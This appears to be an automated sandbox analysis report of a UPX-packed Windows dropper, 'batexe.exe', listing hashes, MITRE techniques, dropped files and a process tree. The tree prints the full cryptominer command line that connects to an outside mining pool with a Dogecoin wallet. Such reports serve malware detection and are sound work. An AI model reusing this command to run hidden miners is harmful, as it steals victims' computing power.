73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
295s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
14-02-2024 07:23

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
5044	b2e.exe
4800	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4800	cpuminer-sse2.exe
4800	cpuminer-sse2.exe
4800	cpuminer-sse2.exe
4800	cpuminer-sse2.exe
4800	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5224-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5224 wrote to memory of 5044	5224	batexe.exe	84
PID 5224 wrote to memory of 5044	5224	batexe.exe	84
PID 5224 wrote to memory of 5044	5224	batexe.exe	84
PID 5044 wrote to memory of 248	5044	b2e.exe	85
PID 5044 wrote to memory of 248	5044	b2e.exe	85
PID 5044 wrote to memory of 248	5044	b2e.exe	85
PID 248 wrote to memory of 4800	248	cmd.exe	88
PID 248 wrote to memory of 4800	248	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5224
- C:\Users\Admin\AppData\Local\Temp\9F9B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9F9B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9F9B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5044
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A345.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:248
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9F9B.tmp\b2e.exe

Filesize
33.1MB

MD5
ea84556c27d41bbb30c97846643043ee

SHA1
950ed83f14f6a263251a9937a3ef4a64776d29e5

SHA256
eb724f030245b92b5cb537c804d316246bea2e8e94899e5063649fb3475a5c18

SHA512
1e0583c5d3d7cfed73ea7e24dc39b36c65b5cd3d4afe302c0994270d6f685a657f1b02899f9abd14550d3c9c7fccfeb14ea35680a351a55edca51ead4be9e45a

Download Submit
C:\Users\Admin\AppData\Local\Temp\9F9B.tmp\b2e.exe

Filesize
10.8MB

MD5
23ee94142e7e6b0a8eb7194f9feb4d4b

SHA1
a95088050cec030f27225707099d6763dfa7e9ad

SHA256
796140156be07ad59c1d6184b7ed7775f86befd56d26854207b2ab453b103787

SHA512
d5bb0e998645aa96afe1f3fa0471ee1625c878866e4980d3a6d51b5c7596deb55086b4a487a1dabe39fc409ab4ddab53c731a9c2e9c4eabfdfc46b0edd3940cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\9F9B.tmp\b2e.exe

Filesize
12.9MB

MD5
bed30138381740ad9bbb156b03287062

SHA1
a9b67193ac82cb4b060e328bde4a01ef66026730

SHA256
81adefc835945b32f4d7bc4f9bb1e6c1310562656de726832b9a8dd6e688a48e

SHA512
9c81c4b61642c83fe93bd6e06c31ff08f98c4eb3606dfefdcf04ad839efdea1511d061e16d798a4a8f801ab3d94fa1637ba035d5fa04ea0fae4842db0e393c3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\A345.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.3MB

MD5
032909a6203746259f5a3285de5f7f80

SHA1
fd7b364ee981ea206f128a09fb956d1de1f3fe25

SHA256
e86445e7b04225655076115ba115a48e839fca8abcdd868d6a93357007a01bfe

SHA512
122e06a7780b2cae17ed15a539a8412de70da0bec66544487e468fb0b531ffe8abf41de281cfcbb6d9c6e72eb8ec059f18de198d5d6f1dba5c25d4789a7962bf

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.0MB

MD5
30367672897162aa74070308adc8de75

SHA1
20d1f5d086182e1bf96f8c5b36016bdf0772a769

SHA256
56dfd2931d7c2758dd6357330e91e292fe90d9f980a5064fd0355c0eb1e3c347

SHA512
0b63d3d7b4d490d66a734f8d42eae0acbd489f14dce4416fc864bf93c70b57915f10d7a21009f4866ff86f2944eb943f6723d120c24cdb2676c48d93ec780228

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.3MB

MD5
6dd574f2a607baf4d98dcde6972a4582

SHA1
4570a52a9336a97059eb3ad7c5671868352bd8a4

SHA256
04fe218825c871c2c0337a87887a663dc9e53a0dade103dd85f6e02c67c13315

SHA512
233617d0e9bd3e2fe3aafa6373aa644d360282863d473ad940becec473baa5f57338a043a693b268089df39769a3dadbac0a87ba40b77502e89b5b789b1ec989

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/4800-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4800-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4800-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4800-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4800-45-0x000000005FC20000-0x000000005FCB8000-memory.dmp

Filesize
608KB

Download
memory/4800-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4800-47-0x00000000010A0000-0x0000000002955000-memory.dmp

Filesize
24.7MB

Download
memory/4800-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4800-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4800-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4800-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4800-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4800-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4800-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4800-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5044-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5044-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5224-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download